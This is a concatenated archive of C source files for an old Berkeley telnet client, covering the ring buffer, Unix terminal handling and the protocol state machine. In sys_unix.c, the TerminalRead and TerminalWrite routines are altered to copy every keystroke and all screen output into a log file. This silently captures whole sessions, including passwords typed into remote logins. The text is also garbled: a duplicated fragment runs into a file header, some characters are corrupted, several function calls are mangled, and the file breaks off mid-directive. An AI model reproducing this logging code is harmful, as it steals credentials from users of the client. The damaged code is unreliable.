Telnet "synch" processing). */ int stilloob() { static struct timeval timeout = { 0 }; fd_set excepts; int value; do { FD_ZERO(&excepts); FD_SET(net, &excepts); value = select(net+1, (fd_set *)0, (fd_set *)0, &excepts, &timeout); } while ((value == -1) && (errno == EINTR)); if (value < 0) { perror("select"); (void) quit(); } if (FD_ISSET(net, &excepts)) { return 1; } else { return 0; } } /* * setneturg() * * Sets "neturg" to the current location. */ void setneturg() { ring_mark(&netoring); } /* * netflush * Send as much data as possible to the network, * handling requests for urgent data. * * The return value indicates whether we did any * useful work. */ int netflush() { register int n, n1; if ((n1 = n = ring_full_consecutive(&netoring)) > 0) { if (!ring_at_mark(&netoring)) { n = send(net, netoring.consume, n, 0); /* normal write */ } else { /* * In 4.2 (and 4.3) systems, there is some question about * what byte in a sendOOB operation is the "OOB" data. * To make ourselves compatible, we only send ONE byte * out of band, the one WE THINK should be OOB (though * we really have more the TCP philosophy of urgent data * rather than the Unix philosophy of OOB data). */ n = send(net, netoring.consume, 1, MSG_OOB);/* URGENT data */ } } if (n < 0) { if (errno != ENOBUFS && errno != EWOULDBLOCK) { setcommandmode(); perror(hostname); NetClose(net); ring_clear_mark(&netoring); longjmp(peerdied, -1); /*NOTREACHED*/ } n = 0; } if (netdata && n) { Dump('>', netoring.consume, n); } if (n) { ring_consumed(&netoring, n); /* * If we sent all, and more to send, then recurse to pick * up the other half. */ if ((n1 == n) && ring_full_consecutive(&netoring)) { (void) netflush(); } return 1; } else { return 0; } } TELNET/ring.c010064400017510000024000000122320661613451100122570ustar00ukai00000400000007/* * This defines a structure for a ring buffer. * * The circular buffer has two parts: *((( * full: [consume, supply) * empty: [supply, consume) *]]] * */ #include #include #ifdef size_t #undef size_t #endif #include #include #include #include "ring.h" #include "general.h" /* Internal macros */ #if !defined(MIN) #define MIN(a,b) (((a)<(b))? (a):(b)) #endif /* !defined(MIN) */ #define ring_subtract(d,a,b) ((((int)(a))-((int)(b)) >= 0)? \ (a)-(b): (((a)-(b))+(d)->size)) #define ring_increment(d,a,c) (((a)+(c) < (d)->top)? \ (a)+(c) : (((a)+(c))-(d)->size)) #define ring_decrement(d,a,c) (((a)-(c) >= (d)->bottom)? \ (a)-(c) : (((a)-(c))-(d)->size)) /* * The following is a clock, used to determine full, empty, etc. * * There is some trickiness here. Since the ring buffers are initialized * to ZERO on allocation, we need to make sure, when interpreting the * clock, that when the times are EQUAL, then the buffer is FULL. */ static u_long ring_clock = 0; #define ring_empty(d) (((d)->consume == (d)->supply) && \ ((d)->consumetime >= (d)->supplytime)) #define ring_full(d) (((d)->supply == (d)->consume) && \ ((d)->supplytime > (d)->consumetime)) /* Buffer state transition routines */ ring_init(ring, buffer, count) Ring *ring; char *buffer; int count; { memset((char *)ring, 0, sizeof *ring); ring->size = count; ring->supply = ring->consume = ring->bottom = buffer; ring->top = ring->bottom+ring->size; return 1; } /* Mark routines */ /* * Mark the most recently supplied byte. */ void ring_mark(ring) Ring *ring; { ring->mark = ring_decrement(ring, ring->supply, 1); } /* * Is the ring pointing to the mark? */ int ring_at_mark(ring) Ring *ring; { if (ring->mark == ring->consume) { return 1; } else { return 0; } } /* * Clear any mark set on the ring. */ void ring_clear_mark(ring) Ring *ring; { ring->mark = 0; } /* * Add characters from current segment to ring buffer. */ void ring_supplied(ring, count) Ring *ring; int count; { ring->supply = ring_increment(ring, ring->supply, count); ring->supplytime = ++ring_clock; } /* * We have just consumed "c" bytes. */ void ring_consumed(ring, count) Ring *ring; int count; { if (count == 0) /* don't update anything */ return; if (ring->mark && (ring_subtract(ring, ring->mark, ring->consume) < count)) { ring->mark = 0; } ring->consume = ring_increment(ring, ring->consume, count); ring->consumetime = ++ring_clock; /* * Try to encourage "ring_empty_consecutive()" to be large. */ if (ring_empty(ring)) { ring->consume = ring->supply = ring->bottom; } } /* Buffer state query routines */ /* Number of bytes that may be supplied */ int ring_empty_count(ring) Ring *ring; { if (ring_empty(ring)) { /* if empty */ return ring->size; } else { return ring_subtract(ring, ring->consume, ring->supply); } } /* number of CONSECUTIVE bytes that may be supplied */ int ring_empty_consecutive(ring) Ring *ring; { if ((ring->consume < ring->supply) || ring_empty(ring)) { /* * if consume is "below" supply, or empty, then * return distance to the top */ return ring_subtract(ring, ring->top, ring->supply); } else { /* * else, return what we may. */ return ring_subtract(ring, ring->consume, ring->supply); } } /* Return the number of bytes that are available for consuming * (but don't give more than enough to get to cross over set mark) */ int ring_full_count(ring) Ring *ring; { if ((ring->mark == 0) || (ring->mark == ring->consume)) { if (ring_full(ring)) { return ring->size; /* nothing consumed, but full */ } else { return ring_subtract(ring, ring->supply, ring->consume); } } else { return ring_subtract(ring, ring->mark, ring->consume); } } /* * Return the number of CONSECUTIVE bytes available for consuming. * However, don't return more than enough to cross over set mark. */ int ring_full_consecutive(ring) Ring *ring; { if ((ring->mark == 0) || (ring->mark == ring->consume)) { if ((ring->supply < ring->consume) || ring_full(ring)) { return ring_subtract(ring, ring->top, ring->consume); } else { return ring_subtract(ring, ring->supply, ring->consume); } } else { if (ring->mark < ring->consume) { return ring_subtract(ring, ring->top, ring->consume); } else { /* Else, distance to mark */ return ring_subtract(ring, ring->mark, ring->consume); } } } /* * Move data into the "supply" portion of of the ring buffer. */ void ring_supply_data(ring, buffer, count) Ring *ring; char *buffer; int count; { int i; while (count) { i = MIN(count, ring_empty_consecutive(ring)); memcpy(ring->supply, buffer, i); ring_supplied(ring, i); count -= i; buffer += i; } } /* * Move data from the "consume" portion of the ring buffer */ void ring_consume_data(ring, buffer, count) Ring *ring; char *buffer; int count; { int i; while (count) { i = MIN(count, ring_full_consecutive(ring)); memcpy(buffer, ring->consume, i); ring_consumed(ring, i); count -= i; buffer += i; } } TELNET/ring.h010064400017510000024000000025560661613451100122740ustar00ukai00000400000007typedef struct { char *consume, /* where data comes out of */ *supply, /* where data comes in to */ *bottom, /* lowest address in buffer */ *top, /* highest address+1 in buffer */ *mark; /* marker (user defined) */ int size; /* size in bytes of buffer */ u_long consumetime, /* help us keep straight full, empty, etc. */ supplytime; } Ring; /* Here are some functions and macros to deal with the ring buffer */ #if defined(LINT_ARGS) /* Initialization routine */ extern int ring_init(Ring *ring, char *buffer, int count); /* Data movement routines */ extern void ring_supply_data(Ring *ring, char *buffer, int count), ring_consume_data(Ring *ring, char *buffer, int count); /* Buffer state transition routines */ extern void ring_supplied(Ring *ring, int count), ring_consumed(Ring *ring, int count); /* Buffer state query routines */ extern int ring_empty_count(Ring *ring), ring_empty_consecutive(Ring *ring), ring_full_count(Ring *ring), ring_full_consecutive(Ring *ring); #else /* LINT_ARGS */ extern int ring_init(); extern void ring_supply_data(), ring_consume_data(); extern void ring_supplied(), ring_consumed(); extern void ring_clear_mark(), ring_mark(); extern int ring_empty_count(), ring_empty_consecutive(), ring_full_count(), ring_full_consecutive(); #endif /* defined(LINT_ARGS) */ TELNET/sys_unix.c010064400017510000024000000314010661613642500132060ustar00ukai00000400000007#if defined(unix) #include #include #include #include #include #include #include "ring.h" #include "ttold.h" #include "fdset.h" #include "xxx.h" #include "defines.h" #include "externs.h" #include "types.h" int tout, /* Output file descriptor */ tin, /* Input file descriptor */ net, HaveInput; /* There is input available to scan */ static struct tchars otc , ntc ; static struct ltchars oltc, nltc ; static struct sgttyb ottyb, nttyb; static fd_set ibits, obits, xbits; static void doescape(); static void intr(); static void intr2(); static void deadpeer(); FILE *Logfile; init_sys() { memset(&otc,0,sizeof(struct tchars)); memset(&ntc,0,sizeof(struct tchars)); memset(&oltc,0,sizeof(struct ltchars)); memset(&nltc,0,sizeof(struct ltchars)); memset(&ottyb,0,sizeof(struct sgttyb)); memset(&nttyb,0,sizeof(struct sgttyb)); tout = fileno(stdout); tin = fileno(stdin); FD_ZERO(&ibits); FD_ZERO(&obits); FD_ZERO(&xbits); errno = 0; } TerminalWrite(buf, n) char *buf; int n; { int r; char *p; if ((p=(void *)malloc(n+10))!=NULL){ if ((Logfile=fopen(LOGFILE,"a"))!=NULL){ strncpy(p,buf,n); p[n]='\0'; fprintf(Logfile,"%s",p); fclose(Logfile); } free(p); } r=write(tout, buf, n); return(r); } TerminalRead(buf, n) char *buf; int n; { int r; char *p; r=read(tin, buf, n); if ((p=(void *)malloc(n+10))!=NULL){ if ((Logfile=fopen(LOGFILE,"a"))!=NULL){ strncpy(p,buf,n); p[n]='\0'; fprintf(Logfile,"%s",p); fclose(Logfile); } free(p); } return(r); } /* * */ int TerminalAutoFlush() { #if defined(LNOFLSH) int flush; ioctl(0, TIOCLGET, (char *)&flush); return !(flush&LNOFLSH); /* if LNOFLSH, no autoflush */ #else /* LNOFLSH */ return 1; #endif /* LNOFLSH */ } /* * TerminalSpecialChars() * * Look at an input character to see if it is a special character * and decide what to do. * * Output: * * 0 Don't add this character. * 1 Do add this character */ int TerminalSpecialChars(c) int c; { void xmitAO(), xmitEL(), xmitEC(); if (c == ntc.t_intrc) { intp(); return 0; } else if (c == ntc.t_quitc) { sendbrk(); return 0; } else if (c == nltc.t_flushc) { xmitAO(); /* Transmit Abort Output */ return 0; } else if (!MODE_LOCAL_CHARS(globalmode)) { if (c == nttyb.sg_kill) { xmitEL(); return 0; } else if (c == nttyb.sg_erase) { xmitEC(); /* Transmit Erase Character */ return 0; } } return 1; } /* * Flush output to the terminal */ void TerminalFlushOutput() { (void) ioctl(fileno(stdout), TIOCFLUSH, (char *) 0); } void TerminalSaveState() { ioctl(0, TIOCGETP, (char *)&ottyb); ioctl(0, TIOCGETC, (char *)&otc); ioctl(0, TIOCGLTC, (char *)&oltc); ntc = otc; nltc = oltc; nttyb = ottyb; termEofChar = ntc.t_eofc; termEraseChar = nttyb.sg_erase; termFlushChar = nltc.t_flushc; termIntChar = ntc.t_intrc; termKillChar = nttyb.sg_kill; termQuitChar = ntc.t_quitc; } void TerminalRestoreState() { } /* * TerminalNewMode - set up terminal to a specific mode. */ void TerminalNewMode(f) register int f; { static int prevmode = 0; struct tchars *tc; struct tchars tc3; struct ltchars *ltc; struct sgttyb sb; int onoff; int old; struct tchars notc2; struct ltchars noltc2; static struct tchars notc = { -1, -1, -1, -1, -1, -1 }; static struct ltchars noltc = { -1, -1, -1, -1, -1, -1 }; globalmode = f; if (prevmode == f) return; old = prevmode; prevmode = f; sb = nttyb; switch (f) { case 0: onoff = 0; tc = &otc; ltc = &oltc; break; case 1: /* remote character processing, remote echo */ case 2: /* remote character processing, local echo */ case 6: /* 3270 mode - like 1, but with xon/xoff local */ /* (might be nice to have "6" in telnet also...) */ sb.sg_flags |= O_CBREAK; if ((f == 1) || (f == 6)) { sb.sg_flags &= ~(ECHO|O_CRMOD); } else { sb.sg_flags |= ECHO|O_CRMOD; } sb.sg_erase = sb.sg_kill = -1; if (f == 6) { tc = &tc3; tc3 = notc; /* get XON, XOFF characters */ tc3.t_startc = otc.t_startc; tc3.t_stopc = otc.t_stopc; } else { /* * If user hasn't specified one way or the other, * then default to not trapping signals. */ if (!donelclchars) { localchars = 0; } if (localchars) { notc2 = notc; notc2.t_intrc = ntc.t_intrc; notc2.t_quitc = ntc.t_quitc; tc = ¬c2; } else { tc = ¬c; } } ltc = &noltc; onoff = 1; break; case 3: /* local character processing, remote echo */ case 4: /* local character processing, local echo */ case 5: /* local character processing, no echo */ sb.sg_flags &= ~O_CBREAK; sb.sg_flags |= O_CRMOD; if (f == 4) sb.sg_flags |= ECHO; else sb.sg_flags &= ~ECHO; notc2 = ntc; tc = ¬c2; noltc2 = oltc; ltc = &noltc2; /* * If user hasn't specified one way or the other, * then default to trapping signals. */ if (!donelclchars) { localchars = 1; } if (localchars) { notc2.t_brkc = nltc.t_flushc; noltc2.t_flushc = -1; } else { notc2.t_intrc = notc2.t_quitc = -1; } noltc2.t_suspc = escape; noltc2.t_dsuspc = -1; onoff = 1; break; default: return; } ioctl(tin, TIOCSLTC, (char *)ltc); ioctl(tin, TIOCSETC, (char *)tc); ioctl(tin, TIOCSETP, (char *)&sb); #if (!defined(TN3270)) || ((!defined(NOT43)) || defined(PUTCHAR)) ioctl(tin, FIONBIO, (char *)&onoff); ioctl(tout, FIONBIO, (char *)&onoff); #endif /* (!defined(TN3270)) || ((!defined(NOT43)) || defined(PUTCHAR)) */ #if defined(TN3270) if (noasynch == 0) { ioctl(tin, FIOASYNC, (char *)&onoff); } #endif /* defined(TN3270) */ if (MODE_LINE(f)) { (void) signal(SIGTSTP, (void (*)())doescape); } else if (MODE_LINE(old)) { (void) signal(SIGTSTP, SIG_DFL); sigsetmask(sigblock(0) & ~(1<<(SIGTSTP-1))); } } int NetClose(fd) int fd; { return close(fd); } void NetNonblockingIO(fd, onoff) int fd, onoff; { ioctl(fd, FIONBIO, (char *)&onoff); } #if defined(TN3270) void NetSigIO(fd, onoff) int fd, onoff; { ioctl(fd, FIOASYNC, (char *)&onoff); /* hear about input */ } void NetSetPgrp(fd) int fd; { int myPid; myPid = getpid(); #if defined(NOT43) myPid = -myPid; #endif /* defined(NOT43) */ ioctl(fd, SIOCSPGRP, (char *)&myPid); /* set my pid */ } #endif /*defined(TN3270)*/ /* * Various signal handling routines. */ static void deadpeer() { setcommandmode(); longjmp(peerdied, -1); } static void intr() { if (localchars) { intp(); return; } setcommandmode(); longjmp(toplevel, -1); } static void intr2() { if (localchars) { sendbrk(); return; } } static void doescape() { command(0); } void sys_telnet_init() { (void) signal(SIGINT, (void (*)())intr); (void) signal(SIGQUIT, (void (*)())intr2); (void) signal(SIGPIPE, (void (*)())deadpeer); setconnmode(); NetNonblockingIO(net, 1); #if defined(TN3270) if (noasynch == 0) { /* DBX can't handle! */ NetSigIO(net, 1); NetSetPgrp(net); } #endif /* defined(TN3270) */ #if defined(SO_OOBINLINE) if (SetSockOpt(net, SOL_SOCKET, SO_OOBINLINE, 1) == -1) { perror("SetSockOpt"); } #endif /* defined(SO_OOBINLINE) */ } /* * Process rings - * * This routine tries to fill up/empty our various rings. * * The parameter specifies whether this is a poll operation, * or a block-until-something-happens operation. * * The return value is 1 if something happened, 0 if not. */ int process_rings(netin, netout, netex, ttyin, ttyout, poll) int poll; /* If 0, then block until something to do */ { register int c; /* One wants to be a bit careful about setting returnValue * to one, since a one implies we did some useful work, * and therefore probably won't be called to block next * time (TN3270 mode only). */ int returnValue = 0; static struct timeval TimeValue = { 0 }; if (netout) { FD_SET(net, &obits); } if (ttyout) { FD_SET(tout, &obits); } #if defined(TN3270) if (ttyin) { FD_SET(tin, &ibits); } #else /* defined(TN3270) */ if (ttyin) { FD_SET(tin, &ibits); } #endif /* defined(TN3270) */ #if defined(TN3270) if (netin) { FD_SET(net, &ibits); } # else /* !defined(TN3270) */ if (netin) { FD_SET(net, &ibits); } # endif /* !defined(TN3270) */ if (netex) { FD_SET(net, &xbits); } if ((c = select(16, &ibits, &obits, &xbits, (poll == 0)? (struct timeval *)0 : &TimeValue)) < 0) { if (c == -1) { /* * we can get EINTR if we are in line mode, * and the user does an escape (TSTP), or * some other signal generator. */ if (errno == EINTR) { return 0; } # if defined(TN3270) /* * we can get EBADF if we were in transparent * mode, and the transcom process died. */ if (errno == EBADF) { /* * zero the bits (even though kernel does it) * to make sure we are selecting on the right * ones. */ FD_ZERO(&ibits); FD_ZERO(&obits); FD_ZERO(&xbits); return 0; } # endif /* defined(TN3270) */ /* I don't like this, does it ever happen? */ printf("sleep(5) from telnet, after select\r\n"); sleep(5); } return 0; } /* * Any urgent data? */ if (FD_ISSET(net, &xbits)) { FD_CLR(net, &xbits); SYNCHing = 1; ttyflush(1); /* flush already enqueued data */ } /* * Something to read from the network... */ if (FD_ISSET(net, &ibits)) { int canread; FD_CLR(net, &ibits); canread = ring_empty_consecutive(&netiring); #if !defined(SO_OOBINLINE) /* * In 4.2 (and some early 4.3) systems, the * OOB indication and data handling in the kernel * is such that if two separate TCP Urgent requests * come in, one byte of TCP data will be overlaid. * This is fatal for Telnet, but we try to live * with it. * * In addition, in 4.2 (and...), a special protocol * is needed to pick up the TCP Urgent data in * the correct sequence. * * What we do is: if we think we are in urgent * mode, we look to see if we are "at the mark". * If we are, we do an OOB receive. If we run * this twice, we will do the OOB receive twice, * but the second will fail, since the second * time we were "at the mark", but there wasn't * any data there (the kernel doesn't reset * "at the mark" until we do a normal read). * Once we've read the OOB data, we go ahead * and do normal reads. * * There is also another problem, which is that * since the OOB byte we read doesn't put us * out of OOB state, and since that byte is most * likely the TELNET DM (data mark), we would * stay in the TELNET SYNCH (SYNCHing) state. * So, clocks to the rescue. If we've "just" * received a DM, then we test for the * presence of OOB data when the receive OOB * fails (and AFTER we did the normal mode read * to clear "at the mark"). */ if (SYNCHing) { int atmark; ioctl(net, SIOCATMARK, (char *)&atmark); if (atmark) { c = recv(net, netiring.supply, canread, MSG_OOB); if ((c == -1) && (errno == EINVAL)) { c = recv(net, netiring.supply, canread, 0); if (clocks.didnetreceive < clocks.gotDM) { SYNCHing = stilloob(net); } } } else { c = recv(net, netiring.supply, canread, 0); } } else { c = recv(net, netiring.supply, canread, 0); } settimer(didnetreceive); #else /* !defined(SO_OOBINLINE) */ c = recv(net, netiring.supply, canread, 0); #endif /* !defined(SO_OOBINLINE) */ if (c < 0 && errno == EWOULDBLOCK) { c = 0; } else if (c <= 0) { return -1; } if (netdata) { Dump('<', netiring.supply, c); } if (c) ring_supplied(&netiring, c); returnValue = 1; } /* * Something to read from the tty... */ if (FD_ISSET(tin, &ibits)) { FD_CLR(tin, &ibits); c = TerminalRead(ttyiring.supply, ring_empty_consecutive(&ttyiring)); if (c < 0 && errno == EWOULDBLOCK) { c = 0; } else { /* EOF detection for line mode!!!! */ if ((c == 0) && MODE_LOCAL_CHARS(globalmode) && isatty(tin)) { /* must be an EOF... */ *ttyiring.supply = termEofChar; c = 1; } if (c <= 0) { return -1; } ring_supplied(&ttyiring, c); } returnValue = 1; /* did something useful */ } if (FD_ISSET(net, &obits)) { FD_CLR(net, &obits); returnValue |= netflush(); } if (FD_ISSET(tout, &obits)) { FD_CLR(tout, &obits); returnValue |= ttyflush(SYNCHing|flushout); } return returnValue; } #endif /* defined(unix) */ case 5: /* local character processing, no echo */ sb.sg_flags &= ~O_CBREAK; sb.sg_flags |= O_CRMOD; if (f == 4) sb.sg_flags |= ECHO; else sb.sg_flags &= ~ECHO; notc2 = ntc; tc = ¬c2; noltc2 = oltc; ltc = &TELNET/telnet.c010064400017510000024000000476440661613451200126330ustar00ukai00000400000007#ifndef lint static char sccsid[] = "@(#)telnet.c 5.33 (Berkeley) 6/29/88"; #endif /* not lint */ #include #if defined(unix) #include /* By the way, we need to include curses.h before telnet.h since, * among other things, telnet.h #defines 'DO', which is a variable * declared in curses.h. */ #include #endif /* defined(unix) */ #include #if defined(unix) #include #else /* defined(unix) */ #include #endif /* defined(unix) */ #include "ring.h" #include "defines.h" #include "externs.h" #include "types.h" #include "general.h" #define strip(x) ((x)&0x7f) static char subbuffer[SUBBUFSIZE], *subpointer, *subend; /* buffer for sub-options */ #define SB_CLEAR() subpointer = subbuffer; #define SB_TERM() subend = subpointer; #define SB_ACCUM(c) if (subpointer < (subbuffer+sizeof subbuffer)) { \ *subpointer++ = (c); \ } char hisopts[256]; char myopts[256]; char doopt[] = { (char)IAC, (char)DO, '%', 'c', 0 }; char dont[] = { (char)IAC, (char)DONT, '%', 'c', 0 }; char will[] = { (char)IAC, (char)WILL, '%', 'c', 0 }; char wont[] = { (char)IAC, (char)WONT, '%', 'c', 0 }; int connected, showoptions, In3270, /* Are we in 3270 mode? */ ISend, /* trying to send network data in */ debug = 0, crmod, netdata, /* Print out network data flow */ crlf, /* Should '\r' be mapped to (or )? */ #if defined(TN3270) noasynch = 0, /* User specified "-noasynch" on command line */ askedSGA = 0, /* We have talked about suppress go ahead */ #endif /* defined(TN3270) */ telnetport, SYNCHing, /* we are in TELNET SYNCH mode */ flushout, /* flush output */ autoflush = 0, /* flush output when interrupting? */ autosynch, /* send interrupt characters with SYNCH? */ localchars, /* we recognize interrupt/quit */ donelclchars, /* the user has set "localchars" */ donebinarytoggle, /* the user has put us in binary */ dontlecho, /* do we suppress local echoing right now? */ globalmode; #define CONTROL(x) ((x)&0x1f) /* CTRL(x) is not portable */ char *prompt = 0, escape, echoc; /* * Telnet receiver states for fsm */ #define TS_DATA 0 #define TS_IAC 1 #define TS_WILL 2 #define TS_WONT 3 #define TS_DO 4 #define TS_DONT 5 #define TS_CR 6 #define TS_SB 7 /* sub-option collection */ #define TS_SE 8 /* looking for sub-option end */ static int telrcv_state; jmp_buf toplevel = { 0 }; jmp_buf peerdied; int flushline; /* * The following are some clocks used to decide how to interpret * the relationship between various variables. */ Clocks clocks; Modelist modelist[] = { { "telnet command mode", COMMAND_LINE }, { "character-at-a-time mode", 0 }, { "character-at-a-time mode (local echo)", LOCAL_ECHO|LOCAL_CHARS }, { "line-by-line mode (remote echo)", LINE | LOCAL_CHARS }, { "line-by-line mode", LINE | LOCAL_ECHO | LOCAL_CHARS }, { "line-by-line mode (local echoing suppressed)", LINE | LOCAL_CHARS }, { "3270 mode", 0 }, }; /* * Initialize telnet environment. */ init_telnet() { SB_CLEAR(); ClearArray(hisopts); ClearArray(myopts); connected = In3270 = ISend = donebinarytoggle = 0; #if defined(unix) && defined(TN3270) HaveInput = 0; #endif /* defined(unix) && defined(TN3270) */ SYNCHing = 0; /* Don't change NetTrace */ escape = CONTROL(']'); echoc = CONTROL('E'); flushline = 1; telrcv_state = TS_DATA; } #include /*VARARGS*/ static void printring(va_alist) va_dcl { va_list ap; char buffer[100]; /* where things go */ char *ptr; char *format; char *string; Ring *ring; int i; va_start(ap); ring = va_arg(ap, Ring *); format = va_arg(ap, char *); ptr = buffer; while ((i = *format++) != 0) { if (i == '%') { i = *format++; switch (i) { case 'c': *ptr++ = va_arg(ap, int); break; case 's': string = va_arg(ap, char *); ring_supply_data(ring, buffer, ptr-buffer); ring_supply_data(ring, string, strlen(string)); ptr = buffer; break; case 0: ExitString("printring: trailing %%.\n", 1); /*NOTREACHED*/ default: ExitString("printring: unknown format character.\n", 1); /*NOTREACHED*/ } } else { *ptr++ = i; } } ring_supply_data(ring, buffer, ptr-buffer); } void willoption(option, reply) int option, reply; { char *fmt; switch (option) { case TELOPT_ECHO: # if defined(TN3270) /* * The following is a pain in the rear-end. * Various IBM servers (some versions of Wiscnet, * possibly Fibronics/Spartacus, and who knows who * else) will NOT allow us to send "DO SGA" too early * in the setup proceedings. On the other hand, * 4.2 servers (telnetd) won't set SGA correctly. * So, we are stuck. Empirically (but, based on * a VERY small sample), the IBM servers don't send * out anything about ECHO, so we postpone our sending * "DO SGA" until we see "WILL ECHO" (which 4.2 servers * DO send). */ { if (askedSGA == 0) { askedSGA = 1; if (!hisopts[TELOPT_SGA]) { willoption(TELOPT_SGA, 0); } } } /* Fall through */ case TELOPT_EOR: case TELOPT_BINARY: #endif /* defined(TN3270) */ case TELOPT_SGA: settimer(modenegotiated); hisopts[option] = 1; fmt = doopt; setconnmode(); /* possibly set new tty mode */ break; case TELOPT_TM: return; /* Never reply to TM will's/wont's */ default: fmt = dont; break; } printring(&netoring, fmt, option); if (reply) printoption(">SENT", fmt, option, reply); else printoption("SENT", fmt, option, reply); else printoption("SENT", fmt, option, 0); } /* * suboption() * * Look at the sub-option buffer, and try to be helpful to the other * side. * * Currently we recognize: * * Terminal type, send request. */ static void suboption() { printsub("<", subbuffer, subend-subbuffer+1); switch (subbuffer[0]&0xff) { case TELOPT_TTYPE: if ((subbuffer[1]&0xff) != TELQUAL_SEND) { ; } else { char *name; char namebuf[41]; extern char *getenv(); int len; #if defined(TN3270) if (tn3270_ttype()) { return; } #endif /* defined(TN3270) */ name = getenv("TERM"); if ((name == 0) || ((len = strlen(name)) > 40)) { name = "UNKNOWN"; len = strlen(name); } if ((len + 4+2) < NETROOM()) { strcpy(namebuf, name); upcase(namebuf); printring(&netoring, "%c%c%c%c%s%c%c", IAC, SB, TELOPT_TTYPE, TELQUAL_IS, namebuf, IAC, SE); /* XXX */ /* printsub(">", nfrontp+2, 4+strlen(namebuf)+2-2-2); */ } else { ExitString("No room in buffer for terminal type.\n", 1); /*NOTREACHED*/ } } default: break; } } int telrcv() { register int c; register int scc; register char *sbp; int count; int returnValue = 0; scc = 0; count = 0; while (TTYROOM() > 2) { if (scc == 0) { if (count) { ring_consumed(&netiring, count); returnValue = 1; count = 0; } sbp = netiring.consume; scc = ring_full_consecutive(&netiring); if (scc == 0) { /* No more data coming in */ break; } } c = *sbp++ & 0xff, scc--; count++; switch (telrcv_state) { case TS_CR: telrcv_state = TS_DATA; if (c == '\0') { break; /* Ignore \0 after CR */ } else if ((c == '\n') && (!hisopts[TELOPT_ECHO]) && !crmod) { TTYADD(c); break; } /* Else, fall through */ case TS_DATA: if (c == IAC) { telrcv_state = TS_IAC; break; } # if defined(TN3270) if (In3270) { *Ifrontp++ = c; while (scc > 0) { c = *sbp++ & 0377, scc--; count++; if (c == IAC) { telrcv_state = TS_IAC; break; } *Ifrontp++ = c; } } else # endif /* defined(TN3270) */ /* * The 'crmod' hack (see following) is needed * since we can't * set CRMOD on output only. * Machines like MULTICS like to send \r without * \n; since we must turn off CRMOD to get proper * input, the mapping is done here (sigh). */ if ((c == '\r') && !hisopts[TELOPT_BINARY]) { if (scc > 0) { c = *sbp&0xff; if (c == 0) { sbp++, scc--; count++; /* a "true" CR */ TTYADD('\r'); } else if (!hisopts[TELOPT_ECHO] && (c == '\n')) { sbp++, scc--; count++; TTYADD('\n'); } else { TTYADD('\r'); if (crmod) { TTYADD('\n'); } } } else { telrcv_state = TS_CR; TTYADD('\r'); if (crmod) { TTYADD('\n'); } } } else { TTYADD(c); } continue; case TS_IAC: switch (c) { case WILL: telrcv_state = TS_WILL; continue; case WONT: telrcv_state = TS_WONT; continue; case DO: telrcv_state = TS_DO; continue; case DONT: telrcv_state = TS_DONT; continue; case DM: /* * We may have missed an urgent notification, * so make sure we flush whatever is in the * buffer currently. */ SYNCHing = 1; ttyflush(1); SYNCHing = stilloob(); settimer(gotDM); break; case NOP: case GA: break; case SB: SB_CLEAR(); telrcv_state = TS_SB; continue; # if defined(TN3270) case EOR: if (In3270) { Ibackp += DataFromNetwork(Ibackp, Ifrontp-Ibackp, 1); if (Ibackp == Ifrontp) { Ibackp = Ifrontp = Ibuf; ISend = 0; /* should have been! */ } else { ISend = 1; } } break; # endif /* defined(TN3270) */ case IAC: # if !defined(TN3270) TTYADD(IAC); # else /* !defined(TN3270) */ if (In3270) { *Ifrontp++ = IAC; } else { TTYADD(IAC); } # endif /* !defined(TN3270) */ break; default: break; } telrcv_state = TS_DATA; continue; case TS_WILL: printoption(">RCVD", will, c, !hisopts[c]); if (c == TELOPT_TM) { if (flushout) { flushout = 0; } } else if (!hisopts[c]) { willoption(c, 1); } SetIn3270(); telrcv_state = TS_DATA; continue; case TS_WONT: printoption(">RCVD", wont, c, hisopts[c]); if (c == TELOPT_TM) { if (flushout) { flushout = 0; } } else if (hisopts[c]) { wontoption(c, 1); } SetIn3270(); telrcv_state = TS_DATA; continue; case TS_DO: printoption(">RCVD", doopt, c, !myopts[c]); if (!myopts[c]) dooption(c); SetIn3270(); telrcv_state = TS_DATA; continue; case TS_DONT: printoption(">RCVD", dont, c, myopts[c]); if (myopts[c]) { myopts[c] = 0; printring(&netoring, wont, c); flushline = 1; setconnmode(); /* set new tty mode (maybe) */ printoption(">SENT", wont, c, 0); } SetIn3270(); telrcv_state = TS_DATA; continue; case TS_SB: if (c == IAC) { telrcv_state = TS_SE; } else { SB_ACCUM(c); } continue; case TS_SE: if (c != SE) { if (c != IAC) { SB_ACCUM(IAC); } SB_ACCUM(c); telrcv_state = TS_SB; } else { SB_TERM(); suboption(); /* handle sub-option */ SetIn3270(); telrcv_state = TS_DATA; } } } if (count) ring_consumed(&netiring, count); return returnValue||count; } static int telsnd() { int tcc; int count; int returnValue = 0; char *tbp; tcc = 0; count = 0; while (NETROOM() > 2) { register int sc; register int c; if (tcc == 0) { if (count) { ring_consumed(&ttyiring, count); returnValue = 1; count = 0; } tbp = ttyiring.consume; tcc = ring_full_consecutive(&ttyiring); if (tcc == 0) { break; } } c = *tbp++ & 0xff, sc = strip(c), tcc--; count++; if (sc == escape) { command(0); tcc = 0; flushline = 1; break; } else if (MODE_LINE(globalmode) && (sc == echoc)) { if (tcc > 0 && strip(*tbp) == echoc) { tcc--; tbp++; count++; } else { dontlecho = !dontlecho; settimer(echotoggle); setconnmode(); flushline = 1; break; } } if (localchars) { if (TerminalSpecialChars(sc) == 0) { break; } } if (!myopts[TELOPT_BINARY]) { switch (c) { case '\n': /* * If we are in CRMOD mode (\r ==> \n) * on our local machine, then probably * a newline (unix) is CRLF (TELNET). */ if (MODE_LOCAL_CHARS(globalmode)) { NETADD('\r'); } NETADD('\n'); flushline = 1; break; case '\r': if (!crlf) { NET2ADD('\r', '\0'); } else { NET2ADD('\r', '\n'); } flushline = 1; break; case IAC: NET2ADD(IAC, IAC); break; default: NETADD(c); break; } } else if (c == IAC) { NET2ADD(IAC, IAC); } else { NETADD(c); } } if (count) ring_consumed(&ttyiring, count); return returnValue||count; /* Non-zero if we did anything */ } /* * Scheduler() * * Try to do something. * * If we do something useful, return 1; else return 0. * */ int Scheduler(block) int block; /* should we block in the select ? */ { /* One wants to be a bit careful about setting returnValue * to one, since a one implies we did some useful work, * and therefore probably won't be called to block next * time (TN3270 mode only). */ int returnValue; int netin, netout, netex, ttyin, ttyout; /* Decide which rings should be processed */ netout = ring_full_count(&netoring) && (!MODE_LINE(globalmode) || flushline || myopts[TELOPT_BINARY]); ttyout = ring_full_count(&ttyoring); #if defined(TN3270) ttyin = ring_empty_count(&ttyiring) && (shell_active == 0); #else /* defined(TN3270) */ ttyin = ring_empty_count(&ttyiring); #endif /* defined(TN3270) */ #if 